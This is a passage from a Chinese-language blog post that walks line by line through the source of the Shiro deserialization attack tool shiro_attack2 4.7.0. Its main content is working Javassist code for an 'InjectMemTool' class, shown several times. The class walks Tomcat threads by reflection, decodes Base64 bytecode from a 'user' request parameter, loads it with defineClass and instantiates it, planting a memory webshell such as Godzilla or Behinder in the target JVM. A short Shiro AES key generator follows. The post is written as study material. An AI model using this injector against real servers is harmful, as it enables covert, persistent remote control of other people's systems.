//传入的是Javassist的ClassPool,用于创建/操作字节码。
//返回值是一个CtClass,即“构造好的恶意类”的字节码表示。
public CtClass genPayload(ClassPool pool) throws Exception {
//用pool.makeClass()动态生成一个新类,类名com.summersec.x.Test + 当前时间戳(System.nanoTime()):
//例如:com.summersec.x.Test1234567890123
CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
//取出当前CtClass拥有的构造函数数组,如果存在构造器
if ((clazz.getDeclaredConstructors()).length != 0) {
//把默认构造器删掉
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addMethod(CtMethod.make(" private static Object getFV(Object o, String s) throws Exception {\n java.lang.reflect.Field f = null;\n Class clazz = o.getClass();\n while (clazz != Object.class) {\n try {\n f = clazz.getDeclaredField(s);\n break;\n } catch (NoSuchFieldException e) {\n clazz = clazz.getSuperclass();\n }\n }\n if (f == null) {\n throw new NoSuchFieldException(s);\n }\n f.setAccessible(true);\n return f.get(o);\n}", clazz));

clazz.addConstructor(CtNewConstructor.make(" public InjectMemTool() {\n try {\n Object o;\n String s;\n String user = null;\n Object resp;\n boolean done = false;\n Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n for (int i = 0; i < ts.length; i++) {\n Thread t = ts[i];\n if (t == null) {\n continue;\n }\n s = t.getName();\n if (!s.contains(\"exec\") && s.contains(\"http\")) {\n o = getFV(t, \"target\");\n if (!(o instanceof Runnable)) {\n continue;\n }\n\n try {\n o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception e) {\n continue;\n }\n\n java.util.List ps = (java.util.List) getFV(o, \"processors\");\n for (int j = 0; j < ps.size(); j++) {\n Object p = ps.get(j);\n o = getFV(p, \"req\");\n resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n\n Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n\n user = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"user\")});\n\n if (user != null && !user.isEmpty()) {\n byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n\n java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n defineClassMethod.setAccessible(true);\n\n Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n\n cc.newInstance().equals(conreq);\n done = true;\n }\n if (done) {\n break;\n }\n }\n }\n }\n } catch (Exception e) {\n ;\n }\n}", clazz));

return clazz;
}
}


添加getFV反射辅助方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
clazz.addMethod(CtMethod.make(
" private static Object getFV(Object o, String s) throws Exception {\n" +
" java.lang.reflect.Field f = null;\n" +
" Class clazz = o.getClass();\n" +
" while (clazz != Object.class) {\n" +
" try {\n" +
" f = clazz.getDeclaredField(s);\n" +
" break;\n" +
" } catch (NoSuchFieldException e) {\n" +
" clazz = clazz.getSuperclass();\n" +
" }\n" +
" }\n" +
" if (f == null) {\n" +
" throw new NoSuchFieldException(s);\n" +
" }\n" +
" f.setAccessible(true);\n" +
" return f.get(o);\n" +
"}", clazz));

private static Object getFV(Object o, String s) throws Exception

  • 工具方法名:getFV,意思是“get Field Value”。
  • o:目标对象。
  • s:字段名(字符串)。
  • 返回:用反射从 o 里取出名为 s 的字段值。

java.lang.reflect.Field f = null;

  • 声明一个 Field f,初始为 null,用来保存找到的字段。

Class clazz = o.getClass();

  • 从对象 o 获取运行时类对象,例如 o 是某个 Thread,这里就是 Thread.class。

while (clazz != Object.class) { … }

  • 循环往上走继承链,直到 Object 为止:
  • 先在当前类找字段;
  • 找不到就去父类找;
  • 一直递归往上。
1
2
3
4
5
6
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
  • 尝试在当前 clazz 中用 getDeclaredField(s) 找名为 s 的字段:
  • 如果找到,赋给 f,然后 break; 跳出循环。
  • 如果抛出 NoSuchFieldException,说明当前类没有这个字段:
  • 切换到父类:clazz = clazz.getSuperclass();
  • 然后继续 while 循环,在父类里找。

循环结束后:

1
2
3
if (f == null) {
throw new NoSuchFieldException(s);
}
  • 如果一路都没找到(包括父类们),f 仍为 null,抛出 NoSuchFieldException。
  • 说明确实不存在这个字段。

f.setAccessible(true);

  • 即使字段是 private,setAccessible(true) 后也可以强行读取。
  • 典型的“越权访问私有字段”的反射用法。

return f.get(o);

  • 返回字段在对象 o 上的值。
  • 即:o 的 s 字段值,类型为 Object。
    这个 getFV 后面会被大量用来拿各种“私有字段”:线程组里的 threads 数组、Tomcat 里的 processors、请求对象里的 req 等等。

添加构造函数 public InjectMemTool() { … }

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
clazz.addConstructor(CtNewConstructor.make(
" public InjectMemTool() {\n" +
" try {\n" +
" Object o;\n" +
" String s;\n" +
" String user = null;\n" +
" Object resp;\n" +
" boolean done = false;\n" +
" Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n" +
" for (int i = 0; i < ts.length; i++) {\n" +
" Thread t = ts[i];\n" +
" if (t == null) {\n" +
" continue;\n" +
" }\n" +
" s = t.getName();\n" +
" if (!s.contains(\"exec\") && s.contains(\"http\")) {\n" +
" o = getFV(t, \"target\");\n" +
" if (!(o instanceof Runnable)) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" try {\n" +
" o = getFV(getFV(getFV(o, \"this$0\"), \"handler\"), \"global\");\n" +
" } catch (Exception e) {\n" +
" continue;\n" +
" }\n" +
"\n" +
" java.util.List ps = (java.util.List) getFV(o, \"processors\");\n" +
" for (int j = 0; j < ps.size(); j++) {\n" +
" Object p = ps.get(j);\n" +
" o = getFV(p, \"req\");\n" +
" resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);\n" +
"\n" +
" Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});\n" +
"\n" +
" user = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"user\")});\n" +
"\n" +
" if (user != null && !user.isEmpty()) {\n" +
" byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);\n" +
"\n" +
" java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" defineClassMethod.setAccessible(true);\n" +
"\n" +
" Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});\n" +
"\n" +
" cc.newInstance().equals(conreq);\n" +
" done = true;\n" +
" }\n" +
" if (done) {\n" +
" break;\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" } catch (Exception e) {\n" +
" ;\n" +
" }\n" +
"}", clazz));

这里还是按部分进行分析吧,因为直接加注释就有点乱了
前几行

1
2
3
4
5
6
7
public InjectMemTool() {
try {
Object o;
String s;
String user = null;
Object resp;
boolean done = false;
  • o:临时变量,用来存放当前正在操作的对象(线程、请求、处理器等)。
  • s:字符串临时变量,主要用于保存线程名。
  • user:请求参数 user 的值,初始化为 null。
  • resp:HTTP 响应对象。
  • done:标记是否已经成功完成注入,一旦为 true 就可以跳出循环。

从线程组中拿到所有线程

1
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
  • Thread.currentThread().getThreadGroup():
  1. 取当前线程所在的 ThreadGroup。
  • getFV(…, “threads”):
  1. 用刚才的 getFV,从 ThreadGroup 对象中拿到私有字段 threads。
  2. 这个字段类型就是 Thread[],保存着这个线程组里的所有线程。
  • 强转为 Thread[]:
  1. ts 就是当前 JVM 里一堆线程的数组。

遍历所有线程,筛选“HTTP 处理线程”

1
2
3
4
5
6
7
8
9
10
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
...
}
}
  • for 循环:遍历整个线程数组。
  • Thread t = ts[i]; if (t == null) continue;:
  1. 有些槽位可能为空,跳过。
  • s = t.getName();:
  1. 取当前线程名,比如 http-nio-8080-exec-1 这种。
  • 过滤条件:
  1. !s.contains(“exec”) && s.contains(“http”)
  2. 逻辑:线程名包含 “http”,但不包含 “exec”。
  3. 目的是尽量锁定“负责 HTTP 处理的大线程”,而不是子执行线程(有些容器线程名里会包含 exec)。
    也就是说:这一段在所有线程里,凭名字粗略筛出 HTTP 相关的处理线程。

从线程对象挖到真正处理请求的“目标对象”

1
2
3
4
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
  • getFV(t, “target”):
  1. 从 Thread t 里拿 target 字段(很多线程实现里有这个字段,指向 Runnable)。
  • 判断类型:
  1. 如果 o 不是 Runnable,说明这个线程结构不是我们预期的,跳过这一线程。

下面是关键的、强依赖特定服务器实现的链条:

1
2
3
4
5
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
  • 这一行可以分三层看:getFV( getFV( getFV(o, “this$0”), “handler”), “global”)
  1. 第一次 getFV(o, “this$0”):
    1、很多匿名内部类 / 成员内部类,会有一个编译器生成的字段 this$0,指向外部类实例。
    2、这里通过 this$0 反推出某个外部类(例如某个 HTTP 连接处理器)。
  2. 第二次 getFV(…, “handler”):
    1、在外部类里再取一个 handler 字段,通常是“处理请求的 handler 对象”。
  3. 第三次 getFV(…, “global”):
    1、再从 handler 里取全局对象 global,通常是“全局的连接器/服务对象”,里面装着一堆 processors。
  • 如果任一层出错(字段不存在 / 结构不同),会抛异常,被 catch (Exception e) { continue; } 捕获:
  1. 直接 continue;,跳到下一个线程继续尝试。
    这部分可以简单理解为:“沿着线程 → target → 外部类 → handler → global 一路反射下去,想拿到一个拥有 processors 列表的全局对象”。
    这和之前看到的各种 Tomcat 内存马代码风格是同一类。

进入 processors,拿到每个请求对象

1
2
3
4
5
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]);
  • ps = (List) getFV(o, “processors”);
  1. 从全局对象 o 中取出 processors 字段:
    1、这通常是某种 List,每个元素 p 对应一个“当前连接/请求处理器”。
  • 遍历 processors:
    1
    2
    Object p = ps.get(j);
    o = getFV(p, "req");
  • p:某个处理器实例。
  • 从p里拿req字段(请求对象)。

取响应对象:

1
2
3
resp = o.getClass()
.getMethod("getResponse", new Class[0])
.invoke(o, new Object[0]);
  • 反射调用 req.getResponse(),拿到 resp(响应对象)。
  • 这里的 resp 后面实际上没直接用于输出(注入逻辑只用 conreq 这个“应用层 request”)。

拿到“应用层 Request”并读取 user 参数

1
2
3
4
5
Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class})
.invoke(o, new Object[]{new Integer(1)});

user = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class})
.invoke(conreq, new Object[]{new String("user")});
  • conreq = req.getNote(1):
  1. 这是很多容器内部的一个“笔记/附加对象”机制。
  2. 这里传入参数 1,拿到的是“应用层请求对象”(和底层 TCP 的 req 再区分开)。
  • 然后通过 conreq.getParameter(“user”):
  1. 利用标准 Servlet 风格的 getParameter 从 请求参数 中取出名为 “user” 的参数。
  2. 也就是你在 injectMem() 那里构造的:
    1
    String postString = "user=" + b64Bytecode;
  • 这里的 user 就是 Base64 编码的内存马字节码(注意:这里用的是 org.apache.shiro.codec.Base64.decode 解码,与发送时对应)。

解码user参数得到字节码,反射调用defineClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (user != null && !user.isEmpty()) {
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);

java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass",
new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);

Class cc = (Class) defineClassMethod.invoke(
this.getClass().getClassLoader(),
new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});

cc.newInstance().equals(conreq);
done = true;
}

逐句解释

1
if (user != null && !user.isEmpty()) {
  • 只有当请求参数里确实带了 user,才继续执行注入。
  • 也就是只有你点击“执行注入”并发送 POST 的那次请求才会触发。
1
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);
  • 用Shiro自带的Base64工具类把user字符串解码成原始字节数组。
  • 这里得到的就是你从 MemBytes.getBytes(memShellType) 得到的那段“内存马类的原始 .class 字节码”。

获取defineClass方法:

1
2
3
4
java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass",
new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
  • 在ClassLoader类上,通过反射拿私有方法 defineClass(byte[] b, int off, int len)。
  • 正常Java代码不能随便调用这个私有方法,这里通过 setAccessible(true) 绕过访问限制。

调用defineClass动态定义类:

1
2
3
Class cc = (Class) defineClassMethod.invoke(
this.getClass().getClassLoader(),
new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
  • this.getClass().getClassLoader():
  1. 取当前类(也就是动态生成的 TestXXXX)的类加载器。
  2. 在这个类加载器里注册一个新的类。
  • 参数:
  1. bytecodes:刚才 Base64 解出来的内存马字节码。
  2. 0:偏移量,从头开始。
  3. bytecodes.length:长度,全数组。
  • 调用结果:
  1. 返回一个 Class cc,就是你注入的那种类(比如内存马GodzillaServlet/BehinderFilter等)。

实例化并触发内存马

1
2
cc.newInstance().equals(conreq);
done = true;
  • cc.newInstance():
  1. 调用无参构造函数,创建一个内存马对象。
  • .equals(conreq):
  1. 很多“内存马实现”都把逻辑写在 equals(Object obj) 里:
    1、当你调用 equals(HttpServletRequest) 或 equals(conreq) 时,它会把自己注册为 Filter/Servlet/Listener 等。
  2. 所以这里通过 equals(conreq) 把 conreq(应用层请求对象)传给内存马,让它完成注册和初始化。
  • done = true;:
  1. 标记“已经成功注入一次”,后面可以停止循环。

成功一次就break

1
2
3
if (done) {
break;
}
  • 一旦 done == true,直接 break; 跳出当前 processors 循环。
  • 外层的线程循环虽然还在,但由于 done = true 不再会有有效的注入逻辑(实际上这里只 break 了内层 j 循环,外层 i 还是继续,不过由于 user 只在“当前注入请求”里有值,其他线程一般不会再次进入注入逻辑)。

返回CtClass

1
return clazz;

最终返回我们动态构造好的 CtClass,里面包含:

  • 一个 getFV(…) 静态方法;
  • 一个重写的构造函数 public InjectMemTool(),构造时就自动执行上面那一大段“扫描线程 → 找请求 → 取 user → defineClass → newInstance → equals(conreq)”的代码。
    当 Gadgets.createTemplatesImpl(“InjectMemTool”) 把这个类注入到 TemplatesImpl 中、再触发反序列化时,一旦这个类的实例被创建,它的构造函数就会立刻跑完上述逻辑,从而把你的内存马 class 字节码真正加载进目标JVM并初始化。

key生成功能分析


最后一个功能点首先还是回到gui.fxml

跟进一下这个事件

跟进Keytxt()

1
2
3
4
5
6
7
8
9
10
11
@FXML
void Keytxt(ActionEvent actionEvent) {
//创建KeyGenerator实例,用于生成密钥。
KeyGenerator keyGenerator = new KeyGenerator();
//调用 getKey() 生成一个 Base64 编码的 AES 密钥字符串。
String key = keyGenerator.getKey();
//将生成的密钥追加到 keytxt 文本区域。
this.keytxt.appendText(key);
//追加换行,便于多次生成时分行显示。
this.keytxt.appendText("\n");
}
跟进KeyGenerator()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.summersec.attack.Encrypt;

import org.apache.shiro.codec.Base64;

import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;

/**
* @ClassName: KeyGenerator
* @Description: TODO
* @Author: Summer
* @Date: 2021/12/3 11:54
* @Version: v1.0.0
* @Description:
**/
public class KeyGenerator {
//用于独立测试,运行后输出一个密钥
public static void main(String[] args) {
KeyGenerator keyGenerator = new KeyGenerator();
System.out.println(keyGenerator.getKey());

}
//返回Base64编码的密钥字符串
public String getKey() {
//声明JDK的密钥生成器变量,出师未null
javax.crypto.KeyGenerator keygen = null;
try {
//获取AES算法的密钥生成器示例。如果JVM不支持"AES",会抛出NoSuchAlgorithmException。
keygen = javax.crypto.KeyGenerator.getInstance("AES");
} catch (NoSuchAlgorithmException e) {
//捕获异常时打印堆栈(但方法仍会继续执行,keygen可能仍为null)。
e.printStackTrace();
}
//生成一个随机AES密钥(默认 128 位),如果前面异常且未处理,这里可能抛出NullPointerException。
SecretKey deskey = keygen.generateKey();
//deskey.getEncoded():获取密钥的原始字节数组。
//Base64.encodeToString(...):将字节数组编码为 Base64 字符串。
return Base64.encodeToString(deskey.getEncoded());
}
}


技术要点

  • 密钥生成器:使用 JDK 的 javax.crypto.KeyGenerator,默认生成 128 位 AES 密钥。
  • Base64 编码:使用 Shiro 的 Base64.encodeToString(),与 Shiro 的密钥格式一致。
  • 用途:生成用于 Shiro rememberMe 加密的密钥,可用于测试或替换目标密钥。

至此分析流程已经结束,下一章分析一下这一章的困难吧,做一下详细的解释


shiro_attack2-4.7.0反序列化漏洞利用工具源码保姆级分析
http://example.com/2025/12/05/shiro_attack2-4.7.0/
作者
奇怪的奇怪
发布于
2025年12月5日
许可协议